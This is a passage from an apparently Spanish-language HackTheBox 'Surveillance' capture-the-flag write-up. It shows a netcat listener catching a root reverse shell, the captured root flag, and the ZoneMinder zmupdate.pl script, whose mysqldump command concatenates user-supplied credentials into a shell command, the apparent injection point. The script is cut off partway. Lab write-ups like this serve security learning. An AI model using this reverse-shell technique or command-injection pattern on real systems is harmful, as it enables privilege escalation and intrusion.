WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.

Logrando finalmente obtener acceso como root en la maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 π ~ ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.15.0] from surveillance.htb [10.10.11.245] 44444
/bin/sh: 0: can't access tty; job control turned off
# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/home/zoneminder
# cd
# ls
root.txt
# cat root.txt
cc7d4ed7f88577b61dec641f6931bedb
#

zmupdate.pl

   1
   2
   3
   4
   5
   6
   7
   8
   9
  10
  11
  12
  13
  14
  15
  16
  17
  18
  19
  20
  21
  22
  23
  24
  25
  26
  27
  28
  29
  30
  31
  32
  33
  34
  35
  36
  37
  38
  39
  40
  41
  42
  43
  44
  45
  46
  47
  48
  49
  50
  51
  52
  53
  54
  55
  56
  57
  58
  59
  60
  61
  62
  63
  64
  65
  66
  67
  68
  69
  70
  71
  72
  73
  74
  75
  76
  77
  78
  79
  80
  81
  82
  83
  84
  85
  86
  87
  88
  89
  90
  91
  92
  93
  94
  95
  96
  97
  98
  99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 158
 159
 160
 161
 162
 163
 164
 165
 166
 167
 168
 169
 170
 171
 172
 173
 174
 175
 176
 177
 178
 179
 180
 181
 182
 183
 184
 185
 186
 187
 188
 189
 190
 191
 192
 193
 194
 195
 196
 197
 198
 199
 200
 201
 202
 203
 204
 205
 206
 207
 208
 209
 210
 211
 212
 213
 214
 215
 216
 217
 218
 219
 220
 221
 222
 223
 224
 225
 226
 227
 228
 229
 230
 231
 232
 233
 234
 235
 236
 237
 238
 239
 240
 241
 242
 243
 244
 245
 246
 247
 248
 249
 250
 251
 252
 253
 254
 255
 256
 257
 258
 259
 260
 261
 262
 263
 264
 265
 266
 267
 268
 269
 270
 271
 272
 273
 274
 275
 276
 277
 278
 279
 280
 281
 282
 283
 284
 285
 286
 287
 288
 289
 290
 291
 292
 293
 294
 295
 296
 297
 298
 299
 300
 301
 302
 303
 304
 305
 306
 307
 308
 309
 310
 311
 312
 313
 314
 315
 316
 317
 318
 319
 320
 321
 322
 323
 324
 325
 326
 327
 328
 329
 330
 331
 332
 333
 334
 335
 336
 337
 338
 339
 340
 341
 342
 343
 344
 345
 346
 347
 348
 349
 350
 351
 352
 353
 354
 355
 356
 357
 358
 359
 360
 361
 362
 363
 364
 365
 366
 367
 368
 369
 370
 371
 372
 373
 374
 375
 376
 377
 378
 379
 380
 381
 382
 383
 384
 385
 386
 387
 388
 389
 390
 391
 392
 393
 394
 395
 396
 397
 398
 399
 400
 401
 402
 403
 404
 405
 406
 407
 408
 409
 410
 411
 412
 413
 414
 415
 416
 417
 418
 419
 420
 421
 422
 423
 424
 425
 426
 427
 428
 429
 430
 431
 432
 433
 434
 435
 436
 437
 438
 439
 440
 441
 442
 443
 444
 445
 446
 447
 448
 449
 450
 451
 452
 453
 454
 455
 456
 457
 458
 459
 460
 461
 462
 463
 464
 465
 466
 467
 468
 469
 470
 471
 472
 473
 474
 475
 476
 477
 478
 479
 480
 481
 482
 483
 484
 485
 486
 487
 488
 489
 490
 491
 492
 493
 494
 495
 496
 497
 498
 499
 500
 501
 502
 503
 504
 505
 506
 507
 508
 509
 510
 511
 512
 513
 514
 515
 516
 517
 518
 519
 520
 521
 522
 523
 524
 525
 526
 527
 528
 529
 530
 531
 532
 533
 534
 535
 536
 537
 538
 539
 540
 541
 542
 543
 544
 545
 546
 547
 548
 549
 550
 551
 552
 553
 554
 555
 556
 557
 558
 559
 560
 561
 562
 563
 564
 565
 566
 567
 568
 569
 570
 571
 572
 573
 574
 575
 576
 577
 578
 579
 580
 581
 582
 583
 584
 585
 586
 587
 588
 589
 590
 591
 592
 593
 594
 595
 596
 597
 598
 599
 600
 601
 602
 603
 604
 605
 606
 607
 608
 609
 610
 611
 612
 613
 614
 615
 616
 617
 618
 619
 620
 621
 622
 623
 624
 625
 626
 627
 628
 629
 630
 631
 632
 633
 634
 635
 636
 637
 638
 639
 640
 641
 642
 643
 644
 645
 646
 647
 648
 649
 650
 651
 652
 653
 654
 655
 656
 657
 658
 659
 660
 661
 662
 663
 664
 665
 666
 667
 668
 669
 670
 671
 672
 673
 674
 675
 676
 677
 678
 679
 680
 681
 682
 683
 684
 685
 686
 687
 688
 689
 690
 691
 692
 693
 694
 695
 696
 697
 698
 699
 700
 701
 702
 703
 704
 705
 706
 707
 708
 709
 710
 711
 712
 713
 714
 715
 716
 717
 718
 719
 720
 721
 722
 723
 724
 725
 726
 727
 728
 729
 730
 731
 732
 733
 734
 735
 736
 737
 738
 739
 740
 741
 742
 743
 744
 745
 746
 747
 748
 749
 750
 751
 752
 753
 754
 755
 756
 757
 758
 759
 760
 761
 762
 763
 764
 765
 766
 767
 768
 769
 770
 771
 772
 773
 774
 775
 776
 777
 778
 779
 780
 781
 782
 783
 784
 785
 786
 787
 788
 789
 790
 791
 792
 793
 794
 795
 796
 797
 798
 799
 800
 801
 802
 803
 804
 805
 806
 807
 808
 809
 810
 811
 812
 813
 814
 815
 816
 817
 818
 819
 820
 821
 822
 823
 824
 825
 826
 827
 828
 829
 830
 831
 832
 833
 834
 835
 836
 837
 838
 839
 840
 841
 842
 843
 844
 845
 846
 847
 848
 849
 850
 851
 852
 853
 854
 855
 856
 857
 858
 859
 860
 861
 862
 863
 864
 865
 866
 867
 868
 869
 870
 871
 872
 873
 874
 875
 876
 877
 878
 879
 880
 881
 882
 883
 884
 885
 886
 887
 888
 889
 890
 891
 892
 893
 894
 895
 896
 897
 898
 899
 900
 901
 902
 903
 904
 905
 906
 907
 908
 909
 910
 911
 912
 913
 914
 915
 916
 917
 918
 919
 920
 921
 922
 923
 924
 925
 926
 927
 928
 929
 930
 931
 932
 933
 934
 935
 936
 937
 938
 939
 940
 941
 942
 943
 944
 945
 946
 947
 948
 949
 950
 951
 952
 953
 954
 955
 956
 957
 958
 959
 960
 961
 962
 963
 964
 965
 966
 967
 968
 969
 970
 971
 972
 973
 974
 975
 976
 977
 978
 979
 980
 981
 982
 983
 984
 985
 986
 987
 988
 989
 990
 991
 992
 993
 994
 995
 996
 997
 998
 999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
#!/usr/bin/perl -wT
#
# ==========================================================================
#
# ZoneMinder Update Script, $Date$, $Revision$
# Copyright (C) 2001-2008 Philip Coombes
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
#
# ==========================================================================

=head1 NAME

zmupdate.pl - check and upgrade ZoneMinder database

=head1 SYNOPSIS

zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version> [-u <dbuser> -p <dbpass>]

=head1 DESCRIPTION

This script just checks what the most recent release of ZoneMinder is
at the the moment. It will eventually be responsible for applying and
configuring upgrades etc, including on the fly upgrades.

=head1 OPTIONS

-c, --check                      - Check for updated versions of ZoneMinder
-f, --freshen                    - Freshen the configuration in the database. Equivalent of old zmconfig.pl -noi
--migrate-events                 - Update database structures as per USE_DEEP_STORAGE setting.
-v <version>, --version=<version> - Force upgrade to the current version from <version>
-u <dbuser>, --user=<dbuser>      - Alternate DB user with privileges to alter DB
-p <dbpass>, --pass=<dbpass>      - Password of alternate DB user with privileges to alter DB
-s, --super                      - Use system maintenance account on debian based systems instead of unprivileged account
-d <dir>, --dir=<dir>              - Directory containing update files if not in default build location
-interactive                     - interact with the user
-nointeractive                   - do not interact with the user

=cut
use strict;
use bytes;
use version;
use Crypt::Eksblowfish::Bcrypt;
use Data::Entropy::Algorithms qw(rand_bits);

# ==========================================================================
#
# These are the elements you can edit to suit your installation
#
# ==========================================================================

use constant CHECK_INTERVAL => (1*24*60*60); # Interval between version checks

# ==========================================================================
#
# Don't change anything below here
#
# ==========================================================================

# Include from system perl paths only
use ZoneMinder::Base qw(:all);
use ZoneMinder::Config qw(:all);
use ZoneMinder::Logger qw(:all);
use ZoneMinder::General qw(:all);
use ZoneMinder::Database qw(:all);
use POSIX;
use DBI;
use Getopt::Long;
use autouse 'Pod::Usage'=>qw(pod2usage);
use autouse 'Data::Dumper'=>qw(Dumper);

use constant EVENT_PATH => ($Config{ZM_DIR_EVENTS}=~m|/|)?$Config{ZM_DIR_EVENTS}:($Config{ZM_PATH_WEB}.'/'.$Config{ZM_DIR_EVENTS});

$| = 1;

$ENV{PATH}  = '/bin:/usr/bin:/usr/local/bin';
$ENV{SHELL} = '/bin/sh' if exists $ENV{SHELL};
delete @ENV{qw(IFS CDPATH ENV BASH_ENV)};

my $web_uid = (getpwnam( $Config{ZM_WEB_USER} ))[2];
my $use_log = (($> == 0) || ($> == $web_uid));

logInit( toFile=>$use_log?DEBUG:NOLOG );
logSetSignal();

my $interactive = 1;
my $check = 0;
my $freshen = 0;
my $rename = 0;
my $zoneFix = 0;
my $migrateEvents = 0;
my $version = '';
my $dbUser = $Config{ZM_DB_USER};
my $dbPass = $Config{ZM_DB_PASS};
my $super = 0;
my $updateDir = '';

GetOptions(
    'check'          =>\$check,
    'freshen'        =>\$freshen,
    'rename'         =>\$rename,
    'zone-fix'       =>\$zoneFix,
    'migrate-events' =>\$migrateEvents,
    'version=s'      =>\$version,
    'interactive!'   =>\$interactive,
    'user:s'         =>\$dbUser,
    'pass:s'         =>\$dbPass,
    'super'          =>\$super,
    'dir:s'          =>\$updateDir
    ) or pod2usage(-exitstatus => -1);

my $dbh = zmDbConnect(undef, { mysql_multi_statements=>1 } );
if ( !$dbh ) {
  die "Unable to connect to db\n";
}
$Config{ZM_DB_USER} = $dbUser;
$Config{ZM_DB_PASS} = $dbPass;
# we escape dbpass with single quotes so that $ in the password has no effect, but dbpass could have a ' in it.
$dbPass =~ s/'/\\'/g;

if ( ! ($check || $freshen || $rename || $zoneFix || $migrateEvents || $version) ) {
  if ( $Config{ZM_DYN_DB_VERSION} ) {
    $version = $Config{ZM_DYN_DB_VERSION};
  } else {
    print(STDERR "Please give a valid option\n");
    pod2usage(-exitstatus => -1);
  }
}

if ( ($check + $freshen + $rename + $zoneFix + $migrateEvents + ($version?1:0)) > 1 ) {
  print(STDERR "Please give only one option\n");
  pod2usage(-exitstatus => -1);
}

if ( $check && $Config{ZM_CHECK_FOR_UPDATES} ) {
  print('Update agent starting at '.strftime('%y/%m/%d %H:%M:%S', localtime() )."\n");

  my $currVersion = $Config{ZM_DYN_CURR_VERSION};
  my $lastVersion = $Config{ZM_DYN_LAST_VERSION};
  my $lastCheck = $Config{ZM_DYN_LAST_CHECK};

  if ( !$currVersion ) {
    $currVersion = $Config{ZM_VERSION};

    my $sql = "update Config set Value = ? where Name = 'ZM_DYN_CURR_VERSION'";
    my $sth = $dbh->prepare_cached($sql) or die("Can't prepare '$sql': ".$dbh->errstr());
    my $res = $sth->execute($currVersion) or die("Can't execute: ".$sth->errstr());
    $sth->finish();
  }

  while ( 1 ) {
    my $now = time();
    if ( !$lastVersion || !$lastCheck || (($now-$lastCheck) > CHECK_INTERVAL) ) {
      Info('Checking for updates');

      use LWP::UserAgent;
      my $ua = LWP::UserAgent->new;
      $ua->agent('ZoneMinder Update Agent/'.ZM_VERSION);
      if ( $Config{ZM_UPDATE_CHECK_PROXY} ) {
        $ua->proxy('http', $Config{ZM_UPDATE_CHECK_PROXY});
      }
      my $req = HTTP::Request->new(GET=>'https://update.zoneminder.com/version.txt');
      my $res = $ua->request($req);

      if ( $res->is_success ) {
        $lastVersion = $res->content;
        chomp($lastVersion);
        $lastCheck = $now;

        Info('Got version: '.$lastVersion);

        my $lv_sql = 'UPDATE Config SET Value = ? WHERE Name = \'ZM_DYN_LAST_VERSION\'';
        my $lv_sth = $dbh->prepare_cached($lv_sql) or die("Can't prepare '$lv_sql': ".$dbh->errstr());
        my $lv_res = $lv_sth->execute($lastVersion) or die("Can't execute: ".$lv_sth->errstr());
        $lv_sth->finish();

        my $lc_sql = 'UPDATE Config SET Value = ? WHERE Name = \'ZM_DYN_LAST_CHECK\'';
        my $lc_sth = $dbh->prepare_cached($lc_sql) or die("Can't prepare '$lc_sql': ".$dbh->errstr());
        my $lc_res = $lc_sth->execute($lastCheck) or die("Can't execute: ".$lc_sth->errstr());
        $lc_sth->finish();
      } else {
        Error('Error check failed: \''.$res->status_line().'\'');
      }
    }
    sleep(3600);
  }
  print('Update agent exiting at '.strftime('%y/%m/%d %H:%M:%S', localtime())."\n");
}

if ( $rename ) {
  require File::Find;

  chdir(EVENT_PATH);

  sub renameImage {
    my $file = $_;

# Ignore directories
    if ( -d $file ) {
      print("Checking directory '$file'\n");
      return;
    }
    if ( $file !~ /(capture|analyse)-(\d+)(\.jpg)/ ) {
      return;
    }
    my $newFile = $2.'-'.$1.$3;

    print("Renaming '$file' to '$newFile'\n");
    rename($file, $newFile) or warn("Can't rename '$file' to '$newFile'");
  }

  File::Find::find(\&renameImage, '.');
} # end if rename

if ( $zoneFix ) {
  my $sql = "SELECT Z.*, M.Width AS MonitorWidth, M.Height AS MonitorHeight FROM Zones AS Z INNER JOIN Monitors AS M ON Z.MonitorId = M.Id WHERE Z.Units = 'Percent'";
  my $sth = $dbh->prepare_cached($sql) or die("Can't prepare '$sql': ".$dbh->errstr());
  my $res = $sth->execute() or die("Can't execute: ".$sth->errstr());
  my @zones;
  while ( my $zone = $sth->fetchrow_hashref() ) {
    push(@zones, $zone);
  }
  $sth->finish();

  $sql = 'UPDATE Zones SET MinAlarmPixels = ?, MaxAlarmPixels = ?, MinFilterPixels = ?, MaxFilterPixels = ?, MinBlobPixels = ?, MaxBlobPixels = ? WHERE Id = ?';
  $sth = $dbh->prepare_cached($sql) or die("Can't prepare '$sql': ".$dbh->errstr());
  foreach my $zone ( @zones ) {
    my $zone_width = (($zone->{HiX}*$zone->{MonitorWidth})-($zone->{LoX}*$zone->{MonitorWidth}))/100;
    my $zone_height = (($zone->{HiY}*$zone->{MonitorHeight})-($zone->{LoY}*$zone->{MonitorHeight}))/100;
    my $zone_area = $zone_width * $zone_height;
    my $monitor_area = $zone->{MonitorWidth} * $zone->{MonitorHeight};
    my $res = $sth->execute(
        ($zone->{MinAlarmPixels}*$monitor_area)/$zone_area,
        ($zone->{MaxAlarmPixels}*$monitor_area)/$zone_area,
        ($zone->{MinFilterPixels}*$monitor_area)/$zone_area,
        ($zone->{MaxFilterPixels}*$monitor_area)/$zone_area,
        ($zone->{MinBlobPixels}*$monitor_area)/$zone_area,
        ($zone->{MaxBlobPixels}*$monitor_area)/$zone_area,
        $zone->{Id}
        ) or die("Can't execute: ".$sth->errstr());
  }
  $sth->finish();
} # end if zoneFix

if ( $migrateEvents ) {
  my $webUid = (getpwnam($Config{ZM_WEB_USER}))[2];
  my $webGid = (getgrnam($Config{ZM_WEB_USER}))[2];

  if ( !(($> == 0) || ($> == $webUid)) ) {
    print("Error, migrating events can only be done as user root or ".$Config{ZM_WEB_USER}.".\n");
    exit(-1);
  }

# Run as web user/group
  $( = $webGid;
  $) = $webGid;
  $< = $webUid;
  $> = $webUid;

  print('
About to convert saved events to deep storage, please ensure that ZoneMinder is fully stopped before proceeding.
This process is not easily reversible. Are you sure you wish to proceed?

Press \'y\' to continue or \'n\' to abort : ');
  my $response = <STDIN>;
  chomp($response);
  while ( $response !~ /^[yYnN]$/ ) {
    print("Please press 'y' to continue or 'n' to abort only : ");
    $response = <STDIN>;
    chomp($response);
  }

  if ( $response =~ /^[yY]$/ ) {
    print("Converting all events to deep storage.\n");

    chdir($Config{ZM_PATH_WEB});
    my $sql = 'SELECT *, unix_timestamp(StartTime) AS UnixStartTime FROM Events';
    my $sth = $dbh->prepare_cached($sql) or Fatal("Can't prepare '$sql': ".$dbh->errstr());
    my $res = $sth->execute();
    if ( !$res ) {
      Fatal("Can't fetch Events: ".$sth->errstr());
    }

    while( my $event = $sth->fetchrow_hashref() ) {
      my $oldEventPath = $Config{ZM_DIR_EVENTS}.'/'.$event->{MonitorId}.'/'.$event->{Id};

      if ( !-d $oldEventPath ) {
        print("Warning, can't find old event path '$oldEventPath', already converted?\n");
        next;
      }

      print('Converting event '.$event->{Id}."\n");
      my $newDatePath = $Config{ZM_DIR_EVENTS}.'/'.$event->{MonitorId}.'/'.strftime('%y/%m/%d', localtime($event->{UnixStartTime}));
      my $newTimePath = strftime('%H/%M/%S', localtime($event->{UnixStartTime}));
      my $newEventPath = $newDatePath.'/'.$newTimePath;
      ( my $truncEventPath = $newEventPath ) =~ s|/\d+$||;
      makePath($truncEventPath, $Config{ZM_PATH_WEB});
      my $idLink = $newDatePath.'/.'.$event->{Id};
      symlink($newTimePath, $idLink) or die("Can't symlink $newTimePath -> $idLink: $!");
      rename($oldEventPath, $newEventPath) or die("Can't move $oldEventPath -> $newEventPath: $!");
    }
    $sth->finish();

    print("Updating configuration.\n");
    $sql = "UPDATE `Config` SET `Value` = ? WHERE `Name` = 'ZM_USE_DEEP_STORAGE'";
    $sth = $dbh->prepare_cached($sql) or die( "Can't prepare '$sql': ".$dbh->errstr());
    $res = $sth->execute(1) or die("Can't execute: ".$sth->errstr());
    $sth->finish();

    print("All events converted.\n\n");
  } else {
    print("Aborting event conversion.\n\n");
  }
}

if ( $freshen ) {
  print("\nFreshening configuration in database\n");
  migratePaths();
  migratePasswords();
  ZoneMinder::Config::loadConfigFromDB();
  ZoneMinder::Config::saveConfigToDB();
}

# Don't do innoDB upgrade if not interactive
if ( $interactive ) {
# Now check for MyISAM Tables
  my @MyISAM_Tables;
  my $sql = "SELECT `table_name` FROM INFORMATION_SCHEMA.TABLES WHERE `table_schema`='zm' AND `engine` = 'MyISAM'";
  my $sth = $dbh->prepare_cached($sql) or die("Can't prepare '$sql': ".$dbh->errstr());
  my $res = $sth->execute() or die("Can't execute: ".$sth->errstr());

  while( my $dbTable = $sth->fetchrow() ) {
    push @MyISAM_Tables, $dbTable;
  }
  $sth->finish();

  if ( @MyISAM_Tables ) {
    print('
Previous versions of ZoneMinder used the MyISAM database engine.
However, the recommended database engine is InnoDB.

Hint: InnoDB tables are much less likely to be corrupted during an unclean shutdown.

Press \'y\' to convert your tables to InnoDB or \'n\' to skip : ');
    my $response = <STDIN>;
    chomp( $response );
    if ( $response =~ /^[yY]$/ ) {
      $dbh->do(q|SET sql_mode='traditional'|); # Elevate warnings to errors
      print "\nConverting MyISAM tables to InnoDB. Please wait.\n";
      foreach ( @MyISAM_Tables ) {
        my $sql = "ALTER TABLE `$_` ENGINE = InnoDB";
        my $sth = $dbh->prepare_cached($sql) or die("Can't prepare '$sql': ".$dbh->errstr());
        my $res = $sth->execute() or die("Can't execute: ".$sth->errstr());
        $sth->finish();
      }
      $dbh->do(q|SET sql_mode=''|); # Set mode back to default
    }
  }
} # end if interactive

if ( $version ) {
  my ( $detaint_version ) = $version =~ /^([\w.]+)$/;
  $version = $detaint_version;

  if ( ZM_VERSION eq $version ) {
    print("\nDatabase already at version $version, update skipped.\n\n");
    exit(0);
  }

  my $start_zm = 0;
  print("\nInitiating database upgrade to version ".ZM_VERSION." from version $version\n");
  if ( $interactive ) {
    if ( $Config{ZM_DYN_DB_VERSION} && ($Config{ZM_DYN_DB_VERSION} ne $version) ) {
      print("\nWARNING - You have specified an upgrade from version $version but the database version found is $Config{ZM_DYN_DB_VERSION}. Is this correct?\nPress enter to continue or ctrl-C to abort : ");
      my $response = <STDIN>;
    }

    if ( systemStatus() eq 'running' ) {
      print"\nZoneMinder system appears to be running.  While not strictly required, it is advised to stop ZM during the update process. Would you like to stop ZM now? [Yn]:";
      my $response = <STDIN>;
      chomp($response);
      if ( $response !~ /Yy/ ) {
        packageControl('stop');
        $start_zm = 1;
      }
    }

    print("\nDo you wish to take a backup of your database prior to upgrading?\nThis may result in a large file in /tmp/zm if you have a lot of events.\nPress 'y' for a backup or 'n' to continue : ");
    my $response = <STDIN>;
    chomp($response);
    while ( $response !~ /^[yYnN]$/ ) {
      print("Please press 'y' for a backup or 'n' to continue only : ");
      $response = <STDIN>;
      chomp($response);
    }

    if ( $response =~ /^[yY]$/ ) {
      my ( $host, $portOrSocket ) = ( $Config{ZM_DB_HOST} =~ /^([^:]+)(?::(.+))?$/ );
      my $command = 'mysqldump';
      if ($super) {
        $command .= ' --defaults-file=/etc/mysql/debian.cnf';
      } elsif ($dbUser) {
        $command .= ' -u'.$dbUser;
        $command .= ' -p\''.$dbPass.'\'' if $dbPass;
      }
      if ( defined($portOrSocket) ) {
        if ( $portOrSocket =~ /^\// ) {
          $command .= ' -S'.$portOrSocket;
        } else {
          $command .= ' -h'.$host.' -P'.$portOrSocket;
        }
      } else {
        $command .= ' -h'.$host;
      }
      my $backup = '/tmp/zm/'.$Config{ZM_DB_NAME}.'-'.$version.'.dump';
      $command .= ' --add-drop-table --databases '.$Config{ZM_DB_NAME}.' > '.$backup;
      print("Creating backup to $backup. This may take several minutes.\n");
      ($command) = $command =~ /(.*)/; # detaint
      print("Executing '$command'\n") if logDebugging();
      my $output = qx($command);
      my $status = $? >> 8;
      if ( $status || logDebugging() ) {
        chomp( $output );
        print( "Output: $output\n" );
      }
      if ( $status ) {
        die( "Command '$command' exited with status: $status\n" );
      } else {
        print( "Database successfully backed up to $backup, proceeding to upgrade.\n" );
      }
    } elsif ( $response !~ /^[nN]$/ ) {
      die( "Unexpected response '$response'" );
    }
  }

  print( "\nUpgrading database to version ".ZM_VERSION."\n" );

  my $cascade = undef;
  if ( $cascade || $version eq "1.19.0" ) {
# Patch the database
    patchDB( $dbh, "1.19.0" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.19.1" ) {
# Patch the database
    patchDB( $dbh, "1.19.1");
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.19.2" ) {
# Patch the database
    patchDB( $dbh, "1.19.2" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.19.3" ) {
# Patch the database
    patchDB( $dbh, "1.19.3" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.19.4" ) {
# Rename the event directories and create a new symlink for the names
    chdir( EVENT_PATH );

    my $sql = "SELECT * FROM `Monitors` ORDER BY `Id`";
    my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
    my $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
    while( my $monitor = $sth->fetchrow_hashref() ) {
      if ( -d $monitor->{Name} ) {
        rename( $monitor->{Name}, $monitor->{Id} ) or warn( "Can't rename existing monitor directory '$monitor->{Name}' to '$monitor->{Id}': $!" );
        symlink( $monitor->{Id}, $monitor->{Name} ) or warn( "Can't symlink monitor directory '$monitor->{Id}' to '$monitor->{Name}': $!" );
      }
    }
    $sth->finish();

# Patch the database
    patchDB( $dbh, "1.19.4" );

    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.19.5" ) {
    print( "\nThis version now only uses one database user.\nPlease ensure you have run zmconfig.pl and re-entered your database username and password prior to upgrading, or the upgrade will fail.\nPress enter to continue or ctrl-C to stop : " );
# Patch the database
    my $dummy = <STDIN>;
    patchDB( $dbh, "1.19.5" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.20.0" ) {
# Patch the database
    patchDB( $dbh, "1.20.0" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.20.1" ) {
# Patch the database
    patchDB( $dbh, "1.20.1" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.21.0" ) {
# Patch the database
    patchDB( $dbh, "1.21.0" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.21.1" ) {
# Patch the database
    patchDB( $dbh, "1.21.1" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.21.2" ) {
# Patch the database
    patchDB( $dbh, "1.21.2" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.21.3" ) {
# Patch the database
    patchDB( $dbh, "1.21.3" );

# Add appropriate widths and heights to events
    {
      print( "Updating events. This may take a few minutes. Please wait.\n" );
      my $sql = "select * from Monitors order by Id";
      my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
      my $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
      while( my $monitor = $sth->fetchrow_hashref() ) {
        my $sql = 'update Events set Width = ?, Height = ? where MonitorId = ?';
        my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
        my $res = $sth->execute( $monitor->{Width}, $monitor->{Height}, $monitor->{Id} ) or die( "Can't execute: ".$sth->errstr() );
      }
      $sth->finish();
    }

# Add sequence numbers
    {
      print( "Updating monitor sequences. Please wait.\n" );
      my $sql = "select * from Monitors order by Id";
      my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
      my $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
      my $sequence = 1;
      while( my $monitor = $sth->fetchrow_hashref() ) {
        my $sql = 'update Monitors set Sequence = ? where Id = ?';
        my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
        my $res = $sth->execute( $sequence++, $monitor->{Id} ) or die( "Can't execute: ".$sth->errstr() );
      }
      $sth->finish();
    }

# Update saved filters
    {
      print( "Updating saved filters. Please wait.\n" );
      my $sql = "select * from Filters";
      my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
      my $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
      my @filters;
      while( my $filter = $sth->fetchrow_hashref() ) {
        push( @filters, $filter );
      }
      $sth->finish();
      $sql = 'update Filters set Query = ? where Name = ?';
      $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
      foreach my $filter ( @filters ) {
        if ( $filter->{Query} =~ /op\d=&/ ) {
          ( my $newQuery = $filter->{Query} ) =~ s/(op\d=)&/$1=&/g;
          $res = $sth->execute( $newQuery, $filter->{Name} ) or die( "Can't execute: ".$sth->errstr() );
        }
      }
    }

    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.21.4" ) {
# Patch the database
    patchDB( $dbh, "1.21.4" );

# Convert zones to new format
    {
      print( "Updating zones. Please wait.\n" );

# Get the existing zones from the DB
      my $sql = "select Z.*,M.Width,M.Height from Zones as Z inner join Monitors as M on (Z.MonitorId = M.Id)";
      my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
      my $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
      my @zones;
      while( my $zone = $sth->fetchrow_hashref() ) {
        push( @zones, $zone );
      }
      $sth->finish();

      no strict 'refs';
      foreach my $zone ( @zones ) {
# Create the coordinate strings
        if ( $zone->{Units} eq 'Pixels' ) {
          my $sql = "update Zones set NumCoords = 4, Coords = concat( LoX,',',LoY,' ',HiX,',',LoY,' ',HiX,',',HiY,' ',LoX,',',HiY ), Area = round( ((HiX-LoX)+1)*((HiY-LoY)+1) ) where Id = ?";
          my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
          my $res = $sth->execute( $zone->{Id} ) or die( "Can't execute: ".$sth->errstr() );
        } else {
          my $loX = ($zone->{LoX} * ($zone->{Width}-1) ) / 100;
          my $hiX = ($zone->{HiX} * ($zone->{Width}-1) ) / 100;
          my $loY = ($zone->{LoY} * ($zone->{Height}-1) ) / 100;
          my $hiY = ($zone->{HiY} * ($zone->{Height}-1) ) / 100;
          my $area = (($hiX-$loX)+1)*(($hiY-$loY)+1);
          my $sql = "update Zones set NumCoords = 4, Coords = concat( round(?),',',round(?),' ',round(?),',',round(?),' ',round(?),',',round(?),' ',round(?),',',round(?) ), Area = round(?), MinAlarmPixels = round(?), MaxAlarmPixels = round(?), MinFilterPixels = round(?), MaxFilterPixels = round(?), MinBlobPixels = round(?), MaxBlobPixels = round(?) where Id = ?";
          my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
